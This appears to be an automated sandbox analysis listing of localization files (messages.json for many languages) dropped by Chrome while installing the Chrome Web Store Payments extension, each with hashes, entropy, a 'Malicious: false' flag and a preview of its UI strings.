SHA-512:	FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65FFD9
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Chrome Web Store Payments".. },.. "app_name": {.. "message": "Chrome Web Store Payments".. },.. "craw_app_unavailable": {.. "message": "App currently unavailable.".. },.. "craw_connect_to_network": {.. "message": "Please connect to a network.".. },.. "iap_unavailable": {.. "message": "In-App Payments is currently unavailable.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Please sign into Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\en_GB\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	593
Entropy (8bit):	4.483686991119526
Encrypted:	false
SSDEEP:	12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD
MD5:	91F5BC87FD478A007EC68C4E8ADF11AC
SHA1:	D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6
SHA-256:	92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9
SHA-512:	FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65FFD9
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Chrome Web Store Payments".. },.. "app_name": {.. "message": "Chrome Web Store Payments".. },.. "craw_app_unavailable": {.. "message": "App currently unavailable.".. },.. "craw_connect_to_network": {.. "message": "Please connect to a network.".. },.. "iap_unavailable": {.. "message": "In-App Payments is currently unavailable.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Please sign into Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\es\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	661
Entropy (8bit):	4.450938335136508
Encrypted:	false
SSDEEP:	12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34lPbdlVo03OyZnLAOfTY6xjD:1HEvaC6WYpcDeEFxq8ZpNl5OGAOffD
MD5:	82719BD3999AD66193A9B0BB525F97CD
SHA1:	41194D511F1ACC16C1CA828AC81C18C8C6B47287
SHA-256:	4DB9B2721E625C18B9E05C04B31AF5D9694712F1CAAF6219ABE34BB08E5DB1C7
SHA-512:	D4C49B43427799B6292CEED11CACB1D76F7CE43EBF402B43B638A6EB2B414ED0981E386CB8CDF0B51D1BD9552934FE25B2F6392266BB73D8C9A691F65BCE0128
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Sistema de pagos de Chrome Web Store".. },.. "app_name": {.. "message": "Sistema de pagos de Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Esta aplicaci.n no est. disponible en este momento.".. },.. "craw_connect_to_network": {.. "message": "Con.ctate a una red.".. },.. "iap_unavailable": {.. "message": "Los pagos en la aplicaci.n no est.n disponibles en este momento.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Inicia sesi.n en Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\es_419\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	637
Entropy (8bit):	4.47253983486615
Encrypted:	false
SSDEEP:	12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34GLO03OyZnLAOfTYiJD:1HEvaC6WYpcDeEFxq8Zp4LlOGAOfvD
MD5:	6B2583D8D1C147E36A69A88009CBEBC7
SHA1:	4D4DEEB4BE6AA0181825F3371A761ABC5B4D5937
SHA-256:	6659BC3705311D7641A73995DCFEA80C7734F2F4EBBC3787B3892A240348324F
SHA-512:	37F0DBFCC1B5A2B8E4C92C49D2D9DEEF25616421350324F57E0149A45A6CCB437F5E3CBE97412C4B5DBBF2593783C7DF71E9C25A851AEAE6E4764C545723FA53
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Sistema de pagos de Chrome Web Store".. },.. "app_name": {.. "message": "Sistema de pagos de Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Esta aplicaci.n no est. disponible en este momento.".. },.. "craw_connect_to_network": {.. "message": "Con.ctate a una red.".. },.. "iap_unavailable": {.. "message": "En este momento, Pagos En-Apps no est. disponible.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Accede a Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\et\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	595
Entropy (8bit):	4.467205425399467
Encrypted:	false
SSDEEP:	12:1HEJfPGGGfPG+WYpU34Ze7z+dgrW9O8ZpU34ZwZz03OyZnLAOfTYgoLIR:1HEdvqlWYpTeObk8ZpT/OGAOfuLIR
MD5:	CFF6CB76EC724B17C1BC920726CB35A7
SHA1:	14ED068251D65A840F00C05409D705259D329FFC
SHA-256:	C85800BF45942FCC7FD6B1DF929C25F9CC2A977A6678966BD03D4B6B69889AFD
SHA-512:	53D7D01BB30C0306DE65A79FD9551D2E8C1F71F4F45F71906B009071CB3E0F231E6A50FDD78773E9B4DE94085BC7B97F829842FA21A89A2080D33458B745C46F
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Chrome'i veebipoe maksed".. },.. "app_name": {.. "message": "Chrome'i veebipoe maksed".. },.. "craw_app_unavailable": {.. "message": "Rakendus pole praegu saadaval.".. },.. "craw_connect_to_network": {.. "message": "Looge .hendus v.rguga.".. },.. "iap_unavailable": {.. "message": "Rakendusesisesed maksed ei ole praegu saadaval.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Logige Chrome'i sisse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\fi\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	647
Entropy (8bit):	4.595421267152647
Encrypted:	false
SSDEEP:	12:1HEJRuzGGRuz+WYpU34ujSBu+dgYO8ZpU34J+Bu03OyZnLAOfTY5HN:1HEFcWYpPNa8ZpD+FOGAOfEHN
MD5:	3A01FEE829445C482D1721FF63153D16
SHA1:	F3EAAADDC03F943FC88B30B67F534AA13E3336DD
SHA-256:	0BDE54B20845124113383B6EB81E43A0F05E4EB0C44BEE3C1DFAC4CC5FEC2836
SHA-512:	3B92B6C86D30FD36AA3CEFF8773BA60C3FC5CC19C693540137044C5838A5503895C770C0336A4D0A3DB5E42F3FB36274D8D3F85B9DCA2F3EC0E974FDDB0BEAD8
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Chrome Web Storen maksut".. },.. "app_name": {.. "message": "Chrome Web Storen maksut".. },.. "craw_app_unavailable": {.. "message": "Sovellus ei ole t.ll. hetkell. k.ytett.viss..".. },.. "craw_connect_to_network": {.. "message": "Muodosta verkkoyhteys.".. },.. "iap_unavailable": {.. "message": "Sovelluksen sis.iset maksut eiv.t ole t.ll. hetkell. k.ytett.viss..".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Kirjaudu sis..n Chromeen.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\fil\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	658
Entropy (8bit):	4.5231229502550745
Encrypted:	false
SSDEEP:	12:1HEJADlbGGADlb+WYpU34hTUT+dgHfZAFFZO8ZpU34hTjzeT03OyZnLAOfTYHfvF:1HEYah6WYp7TUSoxOS8Zp7TOsOGAOfqV
MD5:	57AF5B654270A945BDA8053A83353A06
SHA1:	EEEF7A4F869F97CF471A05D345E74F982D15E167
SHA-256:	EC002ED92359F67818B49455DFC579E140368E6A004080AF022FD4F57F6B03F2
SHA-512:	5F0AE839FCF3F4EA48FF41A76655AE0F3821564AFD5D42FBB9FBB9A38E8D8F7BB5E9B6F71064588CD441261F644095A44A755C134CE546D506D9A21E488BAF52
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Mga Pagbabayad sa Chrome Web Store".. },.. "app_name": {.. "message": "Mga Pagbabayad sa Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Kasalukuyang hindi available ang app.".. },.. "craw_connect_to_network": {.. "message": "Mangyaring kumonekta sa isang network.".. },.. "iap_unavailable": {.. "message": "Kasalukuyang hindi available ang Mga Pagbabayad na In-App.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Mangyaring mag-sign in sa Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\fr\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	677
Entropy (8bit):	4.552569602149629
Encrypted:	false
SSDEEP:	12:1HEJALf/nbGGALf/nb+WYpU34Owdgbyb+dgdQjO8ZpU34ITQpGnbyb03OyZnLAO8:1HE4Hna1Hn6WYpNdgpY8ZpSTQwnBOGAh
MD5:	8D11C90F44A6585B57B933AB38D1FFF8
SHA1:	3F9D44EA8807069A32AACA2AAAD02FD892E6CC90
SHA-256:	599491F8C52B945C16C441ADF45BFD45AFAE046DA07757D97C56AF4DE75ED3B5
SHA-512:	D7EF7F5AD7EF1A1595825D79B69E2B1E988AD3CF1F3881496FCCD30F241E4E9C6E457F9F5D0F855DE3536DB7A40C3E1C55946B50D3F556F4A35285066A0CD6F7
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Paiements via le Chrome.Web.Store".. },.. "app_name": {.. "message": "Paiements via le Chrome.Web.Store".. },.. "craw_app_unavailable": {.. "message": "Application indisponible pour le moment.".. },.. "craw_connect_to_network": {.. "message": "Veuillez vous connecter . un r.seau.".. },.. "iap_unavailable": {.. "message": "Les paiements via l'application ne sont pas disponibles pour le moment.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Veuillez vous connecter . Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\hi\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	835
Entropy (8bit):	4.791154467711985
Encrypted:	false
SSDEEP:	24:1HEs07J0JWYp9vnCSVLP8Zp6CsOGAOf8SLm:Wh7qgYp1CMLUph1GiSLm
MD5:	E376D757C8FD66AC70A7D2D49760B94E
SHA1:	1525C5B1312D409604F097768503298EC440CC4D
SHA-256:	8106D98C4F8DA16DB698444409558E29CC96735E188BFA303C333A5D99231C1D
SHA-512:	673F3F259AF2946E4F49BBED14A2A70D44BF9FDA9D7A71DC9172BA9B7B3C7F7062B16D29682B638D485B0520ED6F99E7A735F28C7C719B539559005B69FA7555
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Chrome ... ..... ......".. },.. "app_name": {.. "message": "Chrome ... ..... ......".. },.. "craw_app_unavailable": {.. "message": "......... .. ... ...... .... ...".. },.. "craw_connect_to_network": {.. "message": "..... ....... .. ...... .....".. },.. "iap_unavailable": {.. "message": "..-.. ...... ... ...... .... ...".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "..... Chrome ... .... .. .....".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\hr\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	618
Entropy (8bit):	4.56999230891419
Encrypted:	false
SSDEEP:	12:1HEJGiimxmbZGGGiimxmbZ+WYpU34OBOEuhopIO+dgcapZO8ZpU34GiiZrMrQphK:1HE4H4TH8WYpNjTta28ZpQVLP0SOGAOK
MD5:	8185D0490C86363602A137F9A261CC50
SHA1:	5BD933B874441CEACB9201CCC941FF67BAED6DC0
SHA-256:	A2B2EC359A9DD9DCCCE02859CE1E738BD30FAA4A05F1DC522893FFDF722BBC15
SHA-512:	D7629978FC031EA5F716F9C1065FB2FEAB48C15F10CD68830DC966FA1002C03DDC7ACDE314C7D075F9F3A0A68552A6ACBCCDEE24CF20B6C3DD1BCE6562D0396E
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Pla.anja u web-trgovini Chrome".. },.. "app_name": {.. "message": "Pla.anja u web-trgovini Chrome".. },.. "craw_app_unavailable": {.. "message": "Aplikacija trenuta.no nije dostupna.".. },.. "craw_connect_to_network": {.. "message": "Pove.ite se s mre.om.".. },.. "iap_unavailable": {.. "message": "Pla.anje u aplikaciji trenuta.no nije dostupno.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Prijavite se na Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\hu\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	683
Entropy (8bit):	4.675370843321512
Encrypted:	false
SSDEEP:	12:1HEJVJiGGVJi+WYpU34Hpo9O+dgMmfgijO8ZpU34Huo9O03OyZnLAOfTYBIAYm:1HEVrk5WYpQzTUg/8ZpwoXOGAOfYIAd
MD5:	85609CF8623582A8376C206556ED2131
SHA1:	1E16EB70DB5E59BB684866FF3E3925C2DEF25A12
SHA-256:	32A249749F12ADB6A220BF9ADC272C7E5D9AD5497A38B0086D961E3ABA17FBC6
SHA-512:	27883430865D3CFA6EDFE8C6CE1442BD96150B5CE520CCF7D556A330CAA6392C712B47BD86F7350E174876BC681F6DEC94D1312402655B0AF90883A2899EC78B
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Chrome Internetes .ruh.z Fizet.si rendszere".. },.. "app_name": {.. "message": "Chrome Internetes .ruh.z Fizet.si rendszere".. },.. "craw_app_unavailable": {.. "message": "Az alkalmaz.s jelenleg nem .rhet. el.".. },.. "craw_connect_to_network": {.. "message": "K.rj.k, csatlakozzon egy h.l.zathoz.".. },.. "iap_unavailable": {.. "message": "Az alkalmaz.son bel.li fizet.s jelenleg nem .rhet. el.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Jelentkezzen be a Chrome-ba.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\id\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	604
Entropy (8bit):	4.465685261172395
Encrypted:	false
SSDEEP:	12:1HEJs25bGGs25b+WYpU34ORBHAeSJ+dgkmO8ZpU34s22C/SzFAs03OyZnLAOfTYR:1HEBaA6WYpaHFH8ZptOYOGAOf2D
MD5:	EAB2B946D1232AB98137E760954003AA
SHA1:	60BDC2937905B311D2C9844DF2D639D7AC9F7F67
SHA-256:	C6E8800450602DE0F39FE9F6854472383813FB454B08ABAE7E25A9167CE004C3
SHA-512:	970FEC9A9EF0BAF7F693C4C5977F3B47914579C5B5414FCE9DBB5E4574659A5BB9AD2DE0CC886B368F49C019785AF7D2D7FE82F71341F039EADC399ED776CA12
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Pembayaran Chrome Webstore".. },.. "app_name": {.. "message": "Pembayaran Chrome Webstore".. },.. "craw_app_unavailable": {.. "message": "Aplikasi tidak tersedia saat ini.".. },.. "craw_connect_to_network": {.. "message": "Sambungkan ke jaringan.".. },.. "iap_unavailable": {.. "message": "Pembayaran Dalam Aplikasi saat ini tidak tersedia.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Harap masuk ke Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\it\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	603
Entropy (8bit):	4.479418964635223
Encrypted:	false
SSDEEP:	12:1HEJsqd/bGGsqd/b+WYpU34OcX4+dgUvIO8ZpU34vq703OyZnLAOfTYsD:1HEXd/aKd/6WYpZrv58ZpskOGAOfzD
MD5:	A328EEF5E841E0C72D3CD7366899C5C8
SHA1:	2851ED658385804E87911643F5A4200B1FB26E13
SHA-256:	CD891C45F7586FB4A2514205A11F260E4A6D4482FA03D901909DD9F57BE0536D
SHA-512:	E47297896E981774EC3B59D41B89D6BA9333F6B4435EB9727D8645A46B10C7D408ADE06844871FA757382FBE7E645276449DB7B1B23BC59C9A71A5CB5A5ECC57
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Pagamenti Chrome Web Store".. },.. "app_name": {.. "message": "Pagamenti Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "App al momento non disponibile.".. },.. "craw_connect_to_network": {.. "message": "Collegati a una rete.".. },.. "iap_unavailable": {.. "message": "La funzione Pagamenti In-App non . al momento disponibile.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Accedi a Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\ja\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	697
Entropy (8bit):	5.20469020877498
Encrypted:	false
SSDEEP:	12:1HEJ07uGG07u+WYpU34DB+dgnsVztO8ZpU34MwiB03OyZnLAOfTYmSH:1HEcnDNWYp1kxU8Zp2wiqOGAOfpSH
MD5:	9B3A5D473C3F2BBFAEECE94A07A940B8
SHA1:	61BACA342CF766BBA15C7B4D892A0E7DAC9405AA
SHA-256:	706312A4A2AEF3317223F141EB2B82685345B7EED444F16BB4DF3A272716DA1F
SHA-512:	94F6FEE9A11BD890AB8211C98D1CC142348961EBCF756F66477A3E3A76519804B70BE0AE4E551739F8AFE32D7ADE6EDE04EF6B9B9EED03E3A857E6058EEDD4C6
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Chrome ........".. },.. "app_name": {.. "message": "Chrome ........".. },.. "craw_app_unavailable": {.. "message": ".................".. },.. "craw_connect_to_network": {.. "message": "................".. },.. "iap_unavailable": {.. "message": ".......................".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Chrome ............".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\ko\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	631
Entropy (8bit):	5.160315577642469
Encrypted:	false
SSDEEP:	12:1HEJ1GG1+WYpU34K3aT+dgh8d0HTO8ZpU34KaNkaT03OyZnLAOfTY/YeHx:1HEajWYpc3aSl0Hq8Zpc6kasOGAOfyYA
MD5:	9F6B4D82A70C74CA751E2EAE70FAB5CF
SHA1:	0534F125FFCE8222277CF2BE3401C59DAF9217F8
SHA-256:	D1467B8D037114403E8F4EFC52E88C4A7FEB96126BE4CFF883FEFF1084EF7E68
SHA-512:	ED9319830314385D09C06F62EE34186E8CA576C857981205E4468A28B3ACD2AB03384E77B866032C324ABDD97A56EFD08E2D6E0C79D563578B3EC52517819BD8
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Chrome . ... ..".. },.. "app_name": {.. "message": "Chrome . ... ..".. },.. "craw_app_unavailable": {.. "message": ".. .. ... . .....".. },.. "craw_connect_to_network": {.. "message": "..... ......".. },.. "iap_unavailable": {.. "message": ".. .. ... ... . .....".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Chrome. .......".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\lt\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	665
Entropy (8bit):	4.66839186029557
Encrypted:	false
SSDEEP:	12:1HEJpqHnkGGpqHnk+WYpU346M+dgV6O8ZpU34WzSWz03OyZnLAOfTYx:1HELqHtKqHPWYpM3A8ZpwGzOGAOfg
MD5:	4CA644F875606986A9898D04BDAE3EA5
SHA1:	722A10569E93975129D67FBDB75B537D9D622AD1
SHA-256:	7C311AB751D840D750C11553C083785813E079C1D464FE568A98C9E3EF3DB96C
SHA-512:	E575E3D0622F5BD4B6C0EE79128A1B1F1882195670139D1983F4377D847141B8FB8EBB8BCED82AF3A220ED07D3577AFBE085BADC0E9C7678292B80E3EC5D3444
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": ".Chrome. internetin.s parduotuv.s mok.jimo sistema".. },.. "app_name": {.. "message": ".Chrome. internetin.s parduotuv.s mok.jimo sistema".. },.. "craw_app_unavailable": {.. "message": "Programa .iuo metu negalima.".. },.. "craw_connect_to_network": {.. "message": "Prisijunkite prie tinklo.".. },.. "iap_unavailable": {.. "message": "Mok.jimai programoje .iuo metu negalimi.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Prisijunkite prie .Chrome..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\lv\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	671
Entropy (8bit):	4.631774066483956
Encrypted:	false
SSDEEP:	12:1HEJFhVbGGFhVb+WYpU34wDoz+dgGedBO8ZpU34wF03OyZnLAOfTYGYID:1HENQKkWYp2Doy/em8Zp2WOGAOfRYID
MD5:	C5CE2C51391EAFD3DA9E4C71549A3C28
SHA1:	1F67FF6EF6E90C0CE3AAF56ED543A3EFD381574D
SHA-256:	1FA1DF2CA8516DEF490FB8484E9AA498ACFF80EEF5C9258FFE42D3678E6C7DED
SHA-512:	C85F6281E682F52BC2147DEA7E2F3BB4DC48D98BADA8687B05C6C7271C78EA7F5431CD51671A4184C9AE004FC53C016E3C594697F483195CCBA08A93821EEF70
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Chrome interneta veikala maks.jumu sist.ma".. },.. "app_name": {.. "message": "Chrome interneta veikala maks.jumu sist.ma".. },.. "craw_app_unavailable": {.. "message": "Lietotne pagaid.m nav pieejama.".. },.. "craw_connect_to_network": {.. "message": "L.dzu, izveidojiet savienojumu ar t.klu.".. },.. "iap_unavailable": {.. "message": "Maks.jumi lietotn.s pa.laik nav pieejami.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "L.dzu, pierakstieties p.rl.k. Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\nb\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	624
Entropy (8bit):	4.555032032637389
Encrypted:	false
SSDEEP:	12:1HEJhiOGGhiO+WYpU34OHSN+dgFjdGFZO8ZpU34JgdN03OyZnLAOfTYiD:1HEDiHIitWYpCYJ8ZpD1OGAOfRD
MD5:	93C459A23BC6953FF744C35920CD2AF9
SHA1:	162F884972103A08ADB616A7EB3598431A2924C5
SHA-256:	2CD700AEB57D89C2E73333D0702556EE3FF3863516170F85669BC680FCBDC4E0
SHA-512:	F76E6E8D8499306883C3EC1E774F7E8BB6B601096DA5A14D17D3E7D5732829542041E42B7350466589291ADCC83FB065FD591B4E20CFCF8EDC586E128ECBFCB5
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Chrome Nettmarked-betalinger".. },.. "app_name": {.. "message": "Chrome Nettmarked-betalinger".. },.. "craw_app_unavailable": {.. "message": "Appen er utilgjengelig for .yeblikket.".. },.. "craw_connect_to_network": {.. "message": "Du m. koble til et nettverk.".. },.. "iap_unavailable": {.. "message": "Betaling i app er ikke tilgjengelig for .yeblikket.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Du m. logge p. Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\nl\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	615
Entropy (8bit):	4.4715318546237315
Encrypted:	false
SSDEEP:	12:1HEJJQGkbGGJQGkb+WYpU34OQKJT+dgiXUmvFZO8ZpU34g7JT03OyZnLAOfTYMD:1HErxkaqxk6WYptndXI8ZpTOGAOfbD
MD5:	7A8F9D0249C680F64DEC7650A432BD57
SHA1:	53477198AEE389F6580921B4876719B400A23CA1
SHA-256:	92BE7C2DC9CFBE5A65E9CE6488D364C8D7EC19E7B67A31E4D43C1CB2B169671C
SHA-512:	969AB979546A741C0F3EDBEEB21BABA375FA8870D4FB9248CDD4C305736E332E10CAB7B64C5C078E60EC0CD73848101B390BE8F44B89C310058AF4C1CA3C8AA7
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Betalingen via Chrome Web Store".. },.. "app_name": {.. "message": "Betalingen via Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "App momenteel niet beschikbaar.".. },.. "craw_connect_to_network": {.. "message": "Maak verbinding met een netwerk.".. },.. "iap_unavailable": {.. "message": "In-app-betalingen is momenteel niet beschikbaar.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Log in bij Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\pl\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	636
Entropy (8bit):	4.646901997539488
Encrypted:	false
SSDEEP:	12:1HEJbiVbGGbiVb+WYpU34OBHlBi9+dgQUg6O8ZpU34bdbfiIu03OyZnLAOfTYR5k:1HE5iVauiV6WYpIAYr8ZpxFiaOGAOfIC
MD5:	0E6194126AFCCD1E3098D276A7400175
SHA1:	E8127B905A640B1C46362FA6E1127BE172F4A40F
SHA-256:	E2699F98C511B18A2AFB82EAE9A4804B646C4FF1077D80E77C17A3943A6373C2
SHA-512:	A71F7C7BFBBF1E37E699601AF2E095C56CBA91F90CB7556477DF31D01B83ADFB1271E1775C9BA299FF6875BBFC2B6AB47488CC88E33DEF2F6F2E0E5AC687B777
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "P.atno.ci w sklepie Chrome Web Store".. },.. "app_name": {.. "message": "P.atno.ci w sklepie Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Aplikacja jest obecnie niedost.pna.".. },.. "craw_connect_to_network": {.. "message": "Po..cz si. z sieci..".. },.. "iap_unavailable": {.. "message": "P.atno.ci w ramach aplikacji s. teraz niedost.pne.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Zaloguj si. w Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\pt_BR\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	636
Entropy (8bit):	4.515158874306633
Encrypted:	false
SSDEEP:	12:1HEJsc/bGGsc/b+WYpU34OLw+dgn/KzO8ZpU34FjIBMwGRO03OyZnLAOfTYN+KcY:1HEb/a8/6WYp4mZ8Zp7cKlOGAOf2tD
MD5:	86A2B91FA18B867209024C522ED665D5
SHA1:	63DEC245637818C76655E01FCB6D59784BC7184E
SHA-256:	6374880FDD1F8AF1EE8AEA6A06B73BE0AB265AFCEB4FE6F08BDE3B3989264B21
SHA-512:	DA6DBDE5028756421C2904F605632EE98831A25A1247E6238A931629B94CE8A00FD76F4235F118D2167304BD60F2C06B2AD78E54FF6CE53F8C38DF8C7B5AFCE4
Malicious:	false
Reputation:	low
